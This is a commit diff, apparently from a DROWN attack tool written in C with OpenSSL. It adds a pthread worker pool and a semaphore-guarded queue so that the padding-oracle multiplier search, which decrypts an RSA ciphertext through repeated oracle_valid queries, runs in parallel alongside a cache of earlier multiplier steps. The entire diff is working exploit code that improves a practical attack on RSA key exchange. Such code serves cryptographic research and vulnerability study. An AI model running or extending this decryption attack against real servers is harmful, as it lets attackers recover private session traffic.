Threaded and cached search of multipliers

Author: Tim---

Makefile

@@ -1,6 +1,6 @@
 CFLAGS=-I$(SSL_PREFIX)/include -O3
 #CFLAGS=-I$(SSL_PREFIX)/include -g
-LDFLAGS=-Wl,-rpath,$(SSL_PREFIX)/lib -L $(SSL_PREFIX)/lib -lssl -lcrypto -ldl -lm
+LDFLAGS=-Wl,-rpath,$(SSL_PREFIX)/lib -L $(SSL_PREFIX)/lib -lssl -lcrypto -ldl -lm -lpthread
 DECRYPT_OBJS=drown.o oracle.o trimmers.o decrypt.o utils.o
 TRIMMABLE_OBJS=trimmable.o oracle.o trimmers.o decrypt.o utils.o
 

decrypt.c

@@ -1,6 +1,8 @@
 #include <openssl/bn.h>
 #include <openssl/err.h>
 #include <openssl/ssl.h>
+#include <pthread.h>
+#include <semaphore.h>
 #include "decrypt.h"
 #include "oracle.h"
 
@@ -64,19 +66,121 @@ int oracle_valid(drown_ctx *dctx, BIGNUM *c)
 }
 
 
-int mycheck(unsigned long s, BIGNUM *cl_1e, drown_ctx* dctx, int *l, BIGNUM *ss)
+#define NUM_THREADS 5
+
+typedef struct item_t
+{
+    BIGNUM *c;
+    BIGNUM *mt;
+    unsigned long s;
+    int l;
+    int finished;
+} item_t;
+
+item_t item_new(BIGNUM *c, BIGNUM *mt, unsigned long s)
+{
+    item_t item = {
+        .c = BN_dup(c),
+        .mt = BN_dup(mt),
+        .s = s,
+        .finished = 0
+    };
+    return item;
+}
+
+void item_free(item_t item)
+{
+    BN_free(item.c);
+    BN_free(item.mt);
+}
+
+typedef struct queue_t
+{
+    sem_t cEmpty; // Number of empty slots
+    sem_t cFull; // Number of full slots
+    pthread_mutex_t mutex;
+    struct item_t items[NUM_THREADS];
+    int cnt;
+    drown_ctx *dctx;
+    struct item_t result;
+    int finished;
+
+} queue_t;
+
+int insert_item(queue_t *queue, item_t item)
+{
+    pthread_mutex_lock(&queue->mutex);
+    if(queue->cnt >= NUM_THREADS)
+    {
+        fprintf(stderr, "Insert problem !\n");
+        exit(1);
+    }
+    queue->items[queue->cnt] = item;
+    queue->cnt++;
+    pthread_mutex_unlock(&queue->mutex);
+    return 0;
+}
+
+int remove_item(queue_t *queue, item_t *item)
+{
+    pthread_mutex_lock(&queue->mutex);
+    if(queue->cnt <= 0)
+    {
+        fprintf(stderr, "Remove problem !\n");
+        exit(1);
+    }
+    *item = queue->items[queue->cnt - 1];
+    queue->cnt--;
+    pthread_mutex_unlock(&queue->mutex);
+    return 0;
+}
+
+void * worker(void *data)
+{
+    queue_t *queue = (queue_t *)data;
+
+    item_t item;
+
+    while(1)
+    {
+        // Wait for work
+        sem_wait(&queue->cFull);
+        remove_item(queue, &item);
+
+        // Time to die
+        if(item.finished)
+            break;
+
+        // Do the actual work
+        int l = oracle_valid(queue->dctx, item.c);
+
+        if(l)
+        {
+            // If we have a result, save it
+            item.l = l;
+            pthread_mutex_lock(&queue->mutex);
+            queue->finished = 1;
+            queue->result = item;
+            pthread_mutex_unlock(&queue->mutex);
+        }
+        else
+            item_free(item);
+
+        sem_post(&queue->cEmpty);
+    };
+
+    return NULL;
+}
+
+int check_multiplier(unsigned long s, BIGNUM *cl_1e, drown_ctx* dctx, int *l, BIGNUM *ss, BIGNUM *upperbits, queue_t *queue)
 {
     BIGNUM *c = dctx->c;
     BIGNUM *n = dctx->n;
     BIGNUM *e = dctx->e;
     BIGNUM *mt = dctx->mt;
-
     BN_CTX *ctx = dctx->ctx;
-    BN_CTX_start(ctx);
-
-    BIGNUM * upperbits = BN_CTX_get(ctx);
-    int res = 0;
 
+    // Check 2 * B <= mt < 3 * B
     BN_rshift(upperbits, mt, 2032);
     if(BN_is_word(upperbits, 0x0002))
     {
@@ -85,28 +189,23 @@ int mycheck(unsigned long s, BIGNUM *cl_1e, drown_ctx* dctx, int *l, BIGNUM *ss)
         BN_mod_exp(c, ss, e, n, ctx);
         BN_mod_mul(c, cl_1e, c, n, ctx);
 
-        *l = oracle_valid(dctx, c);
-        //printf("Valid %d\n", *l);
-        res = 1;
-    }
+        // THREAD : add to queue
+        item_t item = item_new(c, mt, s);
+        sem_wait(&queue->cEmpty);
+        insert_item(queue, item);
+        sem_post(&queue->cFull);
 
-    BN_CTX_end(ctx);
+        return 1;
+    }
 
-    return res;
+    return 0;
 }
 
-
 #define MAX_CACHE_SIZE 5
 
 /*
     Finds a multiplier s, so that c_2 = c_1 * (s * l_1) ** e is valid.
 
-    for each s
-        c_2 = c_1 * (s * l_1) ** e
-        if oracle(c_2)
-            return s
-    end
-
     for each s
         mt_2 = mt_1 * s * l_1
         if 2*B <= mt_2 < 3*B
@@ -118,7 +217,13 @@ int mycheck(unsigned long s, BIGNUM *cl_1e, drown_ctx* dctx, int *l, BIGNUM *ss)
 
     Updates c, s, mt, l, ?
 */
-int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
+/*
+    Threaded search ?
+    We spawn X threads. 
+    Each thread waits for an input to be given. It then computes.
+    When all the threads are occupied, the master waits for one to complete.
+*/
+int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss, queue_t *queue)
 {
     BIGNUM *c = dctx->c;
     BIGNUM *n = dctx->n;
@@ -129,7 +234,8 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
     BN_CTX_start(ctx);
     BIGNUM *inc = BN_CTX_get(ctx);
     BIGNUM *cl_1e = BN_CTX_get(ctx);
-    BIGNUM * mttmp = BN_CTX_get(ctx);
+    BIGNUM *mttmp = BN_CTX_get(ctx);
+    BIGNUM *upperbits = BN_CTX_get(ctx);
 
     // Precompute c * (l_1 ** e)
     BN_mod_exp(cl_1e, l_1, e, n, ctx);
@@ -150,16 +256,17 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
     unsigned long last_s;
     BIGNUM *last_mt = BN_CTX_get(ctx);
 
+    queue->finished = 0;
 
     // First, we try to find a multiplier s so that 2 * B <= s * mt * l_1 < 3 * B
-    while(!mycheck(s, cl_1e, dctx, &l, ss))
+    while(!check_multiplier(s, cl_1e, dctx, &l, ss, upperbits, queue))
     {
         BN_mod_add(mt, mt, inc, n, ctx);
         s++;
     }
 
     // Loop while we don't have a result
-    while(!l)
+    while(!queue->finished)
     {
         // Remember the values of s and mt to compute delta_s and delta_mt
         last_s = s;
@@ -170,11 +277,12 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
         {
             BN_mod_add(mt, mt, inc, n, ctx);
             s++;
-        } while(!mycheck(s, cl_1e, dctx, &l, ss));
+        } while(!check_multiplier(s, cl_1e, dctx, &l, ss, upperbits, queue));
 
         // If the cache is not full, add delta_s and delta_mt to the cache
         if(cache_size < MAX_CACHE_SIZE)
         {
+            //printf("Cache add %ld\n", s - last_s);
             cache_s[cache_size] = s - last_s;
             cache_mt[cache_size] = BN_CTX_get(ctx);
             BN_mod_sub(cache_mt[cache_size], mt, last_mt, n, ctx);
@@ -185,14 +293,14 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
         // We use cached search until either :
         // * we find a result
         // * no cached values works
-        while(res && !l)
+        while(res && !queue->finished)
         {
             res = 0;
             BN_copy(mttmp, mt);
             for(int i = 0; i < cache_size; i++)
             {
                 BN_mod_add(mt, mttmp, cache_mt[i], n, ctx);
-                res = mycheck(s + cache_s[i], cl_1e, dctx, &l, ss);
+                res = check_multiplier(s + cache_s[i], cl_1e, dctx, &l, ss, upperbits, queue);
                 if(res)
                 {
                     s += cache_s[i];
@@ -204,7 +312,21 @@ int find_multiplier(drown_ctx *dctx, BIGNUM *l_1, BIGNUM * ss)
         }
     }
 
-    BN_set_word(ss, s);
+    // Get the response
+    pthread_mutex_lock(&queue->mutex);
+    item_t result = queue->result;
+    BN_set_word(ss, result.s);
+    BN_copy(c, result.c);
+    BN_copy(mt, result.mt);
+    l = result.l;
+    item_free(result);
+    pthread_mutex_unlock(&queue->mutex);
+
+    // Wait for each worker to finish
+    for(int i = 0; i < NUM_THREADS; i++)
+        sem_wait(&queue->cEmpty);
+    for(int i = 0; i < NUM_THREADS; i++)
+        sem_post(&queue->cEmpty);
 
     BN_CTX_end(ctx);
 
@@ -245,6 +367,17 @@ void decrypt(drown_ctx *dctx)
     BN_set_bit(mt, 2033);
 
 
+    // THREAD : create threads and queue
+    pthread_t threads[NUM_THREADS];
+    queue_t queue;
+    sem_init(&queue.cFull, 0, 0);
+    sem_init(&queue.cEmpty, 0, NUM_THREADS);
+    pthread_mutex_init(&queue.mutex, NULL);
+    queue.cnt = 0;
+    queue.dctx = dctx;
+    for(int t = 0; t < NUM_THREADS; t++)
+        pthread_create(&threads[t], NULL, worker, &queue);
+
 
     // Repeat while we don't know all the bits
     while(u > l)
@@ -257,7 +390,7 @@ void decrypt(drown_ctx *dctx)
         BN_mod_inverse(l_1, l_1, n, ctx);
 
         // Find a multiplier
-        l = find_multiplier(dctx, l_1, ss);
+        l = find_multiplier(dctx, l_1, ss, &queue);
 
         // Remember our multiplier
         BN_mod_mul(S, S, ss, n, ctx);
@@ -286,6 +419,20 @@ void decrypt(drown_ctx *dctx)
 
     }
 
+    // THREAD : end threads
+    item_t item = {
+        .finished = 1
+    };
+    for(int t = 0; t < NUM_THREADS; t++)
+    {
+        sem_wait(&queue.cEmpty);
+        insert_item(&queue, item);
+        sem_post(&queue.cFull);
+    }
+    for(int t = 0; t < NUM_THREADS; t++)
+        pthread_join(threads[t], NULL);
+
+
     BN_CTX_end(ctx);
 }